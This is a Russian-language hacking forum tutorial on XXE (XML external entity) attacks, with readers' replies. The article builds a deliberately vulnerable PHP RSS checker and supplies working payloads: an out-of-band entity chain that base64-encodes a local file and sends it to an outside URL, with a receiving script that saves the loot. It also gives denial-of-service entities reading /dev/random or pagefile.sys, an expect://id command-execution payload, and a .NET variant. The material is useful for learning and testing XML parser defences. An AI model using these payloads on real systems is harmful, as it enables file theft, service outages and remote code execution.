Статья XXE

И снова всем привет. А сегодня будет разговор об XXE – атаках, что это, почему, зачем, а главное посмотрим нагрузки и пример в .Net приложениях.

Идея уязвимости в том, что мы используем внешние сущности при парсинге xml файлов, рассмотрим сразу пример.

Создадим файл index.php у себя на сервере. (код частично взят с root-me.org)
PHP:
<?php
echo '<html>';
echo '<header><title>XXE</title></header>';
echo '<body>';
if ( ! isset($_GET['action']) ) $_GET['action']="checker";
if($_GET['action'] == "checker"){
    libxml_disable_entity_loader(false);
    libxml_use_internal_errors(true);
    echo '<h2>XXE</h2>
    <form method="post" action="index.php">
    <input type="text" name="url" placeholder="" />
    <input type="submit" />
    </form>';
    if(isset($_POST["url"]) && !(empty($_POST["url"]))) {
        $url = $_POST["url"];
        echo "<p>URL : ".htmlentities($url)."</p>";
        try {
                    $ch = curl_init("$url");
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
                    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0);
                    $inject = curl_exec( $ch );
                    curl_close($ch);
                    $string = simplexml_load_string($inject, null, LIBXML_NOENT);
                    if ( ! is_object($string)) throw new Exception("error");
                
                    foreach($string->channel->item as $row){
                print "<br />";
                print "===================================================";
                print "<br />";
                print htmlentities($row->title);
                print "<br />";
                print "===================================================";
                print "<br />";
                print "<h4 style='color: green;'>XML document is valid</h4>";
                    }
                } catch (Exception $e) {
                    print "<h4 style='color: red;'>XML document is not valid</h4>";
                }
                
    }
}
if($_GET['action'] == "auth"){
echo '<strong>Login</strong><br /><form METHOD="POST">
<input type="text" name="username" />
<br />
<input type="password" name="password" />
<br />
<input type="submit" />
</form>
';
}
echo '</body></html>';
?>

Вот так выглядит наша форма

upload_2016-12-19_21-27-53.png


А теперь взглянем на такой XML файл, вроде бы ничего необычного.
XML:
<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
  <title>W3Schools Home Page</title>
  <link>http://www.w3schools.com</link>
  <description>Free web building tutorials</description>
  <item>
    <title>RSS Tutorial</title>
    <link>http://www.w3schools.com/xml/xml_rss.asp</link>
    <description>New RSS tutorial on W3Schools</description>
  </item>
  <item>
    <title>XML Tutorial</title>
    <link>http://www.w3schools.com/xml</link>
    <description>New XML tutorial on W3Schools</description>
  </item>
</channel>
</rss>
Загрузим его в отдельный файл на сервер и скормим нашему текстовому полю.

upload_2016-12-19_21-29-26.png


В результате получаем сообщение, что наш xml файл валидный, то есть это означает, что структура тегов нашего xml совпадает с ожидаемой, а так же видим, что вывелся загловок RSS Tutorial, то есть у нас есть вывод.

Теперь изменим файл и добавим DTD сущность

XML:
<!DOCTYPE rss [
<!ENTITY shp  "CODEBY">
] >
<rss version="2.0" xml:base="http://example.com"  xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>XXE</title>
<link>http://example.com</link>
<description></description>
<language>en</language>
<item>
<title>Hello &shp;</title>
<link>http://example.com</link>
<description>some bullshit</description>
<comments>http://example.com#comments</comments>
<category domain="http://example.com">xxe</category>
<pubDate>Thu, 15 Jan 2015 23:08:50 +0000</pubDate>
<dc:creator>Unknown</dc:creator>
<guid isPermaLink="false">31337</guid>
</item>
</channel>
</rss>
Получаем в результате запроса следующий вариант.

upload_2016-12-19_21-31-17.png


Но не всегда парсеры выводят содержимое на страницу. В таком случае нам поможет техника Out-Of-Band. Это техника работает в три этапа.

Этап первый – создаем нагрузку.
XML:
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=CoDEbY.php">
<!ENTITY % intern "<!ENTITY % trick SYSTEM 'URL/get.php?s=%payl;'>">
Видим, что на этот раз файл состоит из двух сущностей, одна которая создает Payload, вторая, которая отсылает его на внешний сервис.

Этап второй – создаем принимающий скрипт
XML:
<?php
$character = $_GET["s"];
$file = fopen("flag.txt","w");
fwrite($file,$character);
fclose($file);
?>

Этап третий - подгружаем в наш скрипт ссылку на на payload с этапа 1 и читаем файл flag.txt

upload_2016-12-19_21-36-41.png


В результате видим закодированное в base64 - сообщение, которое после расшифровки означает:

upload_2016-12-19_21-38-39.png


Векторы XXE
1) Читать локальные файлы и ресурсы с помощью врапперов php://, file://
2) Проводить DOS атаки
3) Получить RCE


Если с DDOS payloads всё понятно (приведу их ниже)
<!DOCTYPE input [<!ENTITY pay SYSTEM "file:///dev/random" >]> &pay; для linux
<!ENTITY dos SYSTEM "c:\pagefile.sys"> для windows

, то посмотрим на последний вариант.

Здесь, для получения RCE, используется wrapper except.

Пример:
XML:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE rss [
<!ENTITY shp SYSTEM "expect://id">
] >
Результат

upload_2016-12-19_21-42-16.png


На этом закончим с веб приложением и если с вебом всё более-менее понятно, взглянем как эксплуатировать OOB в .Net приложениях.
Для этого я написал небольшое приложение.
Код:
        private void button1_Click(object sender, EventArgs e)
        {
            openFileDialog1.ShowDialog();
            string xml = File.ReadAllText(openFileDialog1.FileName);
            XmlDocument xmlDoc = new XmlDocument();
            xmlDoc.XmlResolver = null;
            xmlDoc.LoadXml(xml);
            MessageBox.Show(xmlDoc.InnerText);
        }

upload_2016-12-19_21-44-44.png


После нажатия кнопки программа просит выбрать файл xml, выберем файл с содержимым.
XML:
<?xml version="1.0" ?>
<!DOCTYPE doc
[<!ENTITY win SYSTEM "URL/321.xml" >]>
<doc> &win;</doc>

upload_2016-12-19_21-46-55.png


В результате получаем профит, текст именно в этом файле.
На этом всё

https://github.com/enjoiz/XXEinjector а вот мощная тулзочка для автоматической эксплуатации
 
Хорошоя статья)
Дополню пожалуй докладом Ярослава Бабинаа из Positive Technologies,короткий доклад но изложена вся суть XXE уязвимости:


А вот призенташка к докладу:


Еще как бы я бы советовал излагать от простому к сложному) А ты сразу про Out-Of-Band )))
Я понимаю что он прикольный , но все же) В любом случае в докладе Яра можно подробно ознакомится с базами XXE и оут-оф-бенд)
От себя так же добавлю что ресурс - в первую очередь хорош тем ,что хорошо документирован(на английском правда) и можно по каждому таску найти там документацию)
 
Последнее редактирование:
Хорошоя статья)
Дополню пожалуй докладом Ярослава Бабинаа из Positive Technologies,короткий доклад но изложена вся суть XXE уязвимости:


А вот призенташка к докладу:
***Скрытый текст***
Еще как бы я бы советовал излагать от простому к сложному) А ты сразу про Out-Of-Band )))
Я понимаю что он прикольный , но все же) В любом случае в докладе Яра можно подробно ознакомится с базами XXE и оут-оф-бенд)
От себя так же добавлю что ресурс - в первую очередь хорош тем ,что хорошо документирован(на английском правда) и можно по каждому таску найти там документацию)
Скоро мы с тобой станем знаменитые. А что касаемо сложности.... У нас умные же ребятки азы то поймут.
 
Скоро мы с тобой станем знаменитые. А что касаемо сложности.... У нас умные же ребятки азы то поймут.
А я ставлю на то что в первую очередь нас читают новички) И средний уровень ИБ спецов.
Крутые перци уже давно где то работают) И не особо находят время что бы читатать форумы) Но я смело могу быть уверенным , что команда форума делая вклад в развития кодебай скоро сможет вывести на мировой уровень,не только странны СНГ... Если за столь небольшое время нами начали интересоватся даже такие людии как авторы крутого руткита "vlany" и еще парочка заграничных друзей) Ну во всяком случае я в это верю и буду надеятся на это.
Тогда и великии специ выйдут на контакт) Всему свое время как говорится)
 
  • Нравится
Реакции: sdfsd
А я ставлю на то что в первую очередь нас читают новички) И средний уровень ИБ спецов.
Крутые перци уже давно где то работают) И не особо находят время что бы читатать форумы) Но я смело могу быть уверенным , что команда форума делая вклад в развития кодебай скоро сможет вывести на мировой уровень,не только странны СНГ... Если за столь небольшое время нами начали интересоватся даже такие людии как авторы крутого руткита "vlany" и еще парочка заграничных друзей) Ну во всяком случае я в это верю и буду надеятся на это.
Тогда и великии специ выйдут на контакт) Всему свое время как говорится)
Дай то бог. Я немного по другому стараюсь. Для новичков уже давно всё и не раз написано. Поэтому я стараюсь делать в своих статья больше акцент либо на голую практику (закрепить уже известный материал), либо на что то новое, либо взглянуть на одну проблему немного по другому. Но полезные так же материалики об утилитках малоизвестных и каких то практичных штучках типа AV ByPass. А вот например статья об SQL Injection с нуля (без практических реальных примеров), я вижу малопродуктивной, так как это тема только ленивым не говорена.
 
  • Нравится
Реакции: Ishikawa
Лучше бы ты как раньше веб бы вёл )
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!